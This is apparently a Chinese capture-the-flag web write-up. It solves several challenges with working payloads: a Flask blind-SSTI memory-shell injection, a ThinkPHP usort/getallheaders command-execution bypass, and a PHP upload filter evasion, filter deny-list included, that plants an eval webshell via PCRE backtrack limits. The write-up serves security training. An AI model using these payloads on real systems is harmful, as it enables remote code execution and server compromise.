WEB

my_site

源码

from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, g
from utils import rot13, key
import sqlite3

app = Flask(__name__)
app.secret_key = 'your_secret_key'
app.config['DATABASE'] = 'database.db'

def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(app.config['DATABASE'])
return db

@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()

@app.route('/')
def home():
return render_template('home.html')

@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
if request.method == 'POST':
action = request.form['action']
text = request.form['text']

if action == 'encrypt':
encrypted_text = rot13(text)
return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))


elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
except Exception as e:
abort(404)
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)

return render_template('index.html')

@app.route('/rot13_result/<action>/<result>')
def rot13_result(action, result):
return render_template('rot13_result.html', action=action, result=result)

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
user = cursor.fetchone()
if user:
session['username'] = username
return redirect(url_for('message_board'))
else:
flash('Invalid username or password')
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
db.commit()
flash('Registration successful! Please log in.')
return redirect(url_for('login'))
except sqlite3.IntegrityError:
flash('Username already exists!')
return render_template('register.html')

@app.route('/message_board', methods=['GET', 'POST'])
def message_board():
if 'username' not in session:
return redirect(url_for('login'))

db = get_db()
cursor = db.cursor()

if request.method == 'POST':
message = request.form['message']
cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)", (session['username'], message))
db.commit()

cursor.execute("SELECT username, message FROM messages")
messages = cursor.fetchall()

return render_template('message_board.html', messages=messages)

@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('home'))

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

/rot13 路由发现存在无回显ssti

81d5f4bc-366d-496d-a12d-bc0ab39f0619

经过测试,发现存在 () 的时候就会走到ssti的if里面,之后就写内存马来回显

def rot13(text):
result = ""
for char in text:
if char.isalpha():
ascii_val = ord(char)
if char.islower():
rotated_val = ((ascii_val - 97) + 13) % 26 + 97
else:
rotated_val = ((ascii_val - 65) + 13) % 26 + 65
result += chr(rotated_val)
else:
result += char
return result

text = """()}}{{url_for['__glob''als__']['__buil''tins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")"""

print(rot13(text))

# ()}}{{hey_sbe['__tybo''nyf__']['__ohvy''gvaf__']['riny']("__vzcbeg__('flf').zbqhyrf['__znva__'].__qvpg__['ncc'].orsber_erdhrfg_shapf.frgqrsnhyg(Abar,[]).nccraq(ynzoqn :__vzcbeg__('bf').cbcra('png /synt').ernq())")

发送过去即可得到flag

ebb29062-a9f2-464a-a322-1551fd9ade15

海关警察训练平台

抓包改一下host,然后访问 flag.html

5d6bfd7d-e956-48d3-bb93-33d4e983544e

恶意代码检测器

扫目录可以得到 www.zip

e258b2c0-c7ed-4f08-bcad-4478ba210405

代码审计,可以发现是tp框架

这里会将我们写入的内容写进一个文件里,然后又包含了进来,但在safe.log那里用的是双引号,waf那里用的是单引号

6b5baba9-bb1e-4ada-86f4-e5af85fc9fd9

使用 ${} ,可以在里面的大括号执行代码,

发现 usort 函数没有被 ban,可以用usort来执行命令

根据php的特性,不使用引号的话能自己识别类型,可以用字符串拼接的方式绕过过滤

需要注意的是,因为没有引号,拼接字符的时候会warming,然后tp就报错了,用 @ 来忽略掉警告

usort函数的第一个参数要是数组,第二个参数是函数名

过滤了下划线,不能用GET、POST来传参,可以用 getallheaderssystem 传参

getallheaders函数的返回值是数组,这个数组的值会分别送进system里面执行,只需要在请求头带上要执行的命令即可

发送过去,只需要发送一次,后边执行命令的时候code里面随便放什么都行

${@usort((ge.tallheaders)(),sys.tem)}

6c11c198-0265-4412-93f2-f400a9307cf6

奶龙牌WAF

源码:

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
die("不允许上传此类文件!");
}

if ($file['size'] > 2 * 1024 * 1024) {
die("文件大小超过限制!");
}

$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

$dangerous_patterns = [
'/<\?php/i',
'/<\?=/',
'/<\?xml/',
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/',
'/\/\*\s.*\*\//',
'/#/',
'/<script\b.*?>.*?<\/script>/is',
'/javascript:/i',
'/on\w+\s*=\s*["\'].*["\']/i',
'/[\<\>\'\"\\\`\;\=]/',
'/%[0-9a-fA-F]{2}/',
'/&#[0-9]{1,5};/',
'/&#x[0-9a-fA-F]+;/',
'/system\(/i',
'/exec\(/i',
'/passthru\(/i',
'/shell_exec\(/i',
'/file_get_contents\(/i',
'/fopen\(/i',
'/file_put_contents\(/i',
'/%u[0-9A-F]{4}/i',
'/[^\x00-\x7F]/',
// 检测路径穿越
'/\.\.\//',
];

foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("内容包含危险字符,上传被奶龙拦截!");
}
}

$upload_dir = 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

$new_file_name = $upload_dir . $name;
print($_FILES['upload_file']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
} else {
?>
<!-- 文件上传表单 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>文件上传</title>
<style>
body {
font-family: Arial, sans-serif;
background: url('background.jpeg') no-repeat center center fixed;
background-size: cover;
display: flex;
justify-content: center;
align-items: flex-start;
height: 100vh;
margin: 0;
}
.upload-container {
background-color: rgba(214, 227, 49, 0.22);
padding: 20px;
border-radius: 10px;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
text-align: center;
position: absolute;
top: 10%; /* 调整这个值来控制表单距离顶部的高度 */
}
.upload-container h2 {
color: #333;
margin-bottom: 20px;
}
.file-input {
display: none;
}
.custom-file-upload, .submit-btn {
display: inline-block;
padding: 10px 20px;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
}
.custom-file-upload {
background-color: #ff0000;
color: white;
margin-right: 20px;
}
.custom-file-upload:hover {
background-color: #b3002a;
}
.submit-btn {
background-color: #28a745;
color: white;
border: none;
}
.submit-btn:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="upload-container">
<h2>你能逃出奶龙的WAF吗?</h2>
<form action="" method="POST" enctype="multipart/form-data">
<label for="upload_file" class="custom-file-upload">选择文件</label>
<input type="file" name="upload_file" id="upload_file" class="file-input">
<input type="submit" value="上传文件" class="submit-btn">
</form>
</div>
<script>
document.querySelector('.custom-file-upload').addEventListener('click', function() {
document.getElementById('upload_file').click();
});
</script>
</body>
</html>
<?php
}
?>

代码审计,发现这里文件名有问题

3d69c60f-3025-48b1-9a28-2d510406529a

可以用 a.php/.来绕过,get传入一个name

后边的正则,使用PCRE回溯次数限制来绕过

先生成文件

print('a'*2000000+'<?php eval($_POST[1]);?>')

然后上传

dc4ddfde-2c60-4c4d-9113-094930b97938

最后访问 uploads/a.php 即可RCE

2d31ee71-670c-4e23-a11b-125c610fb713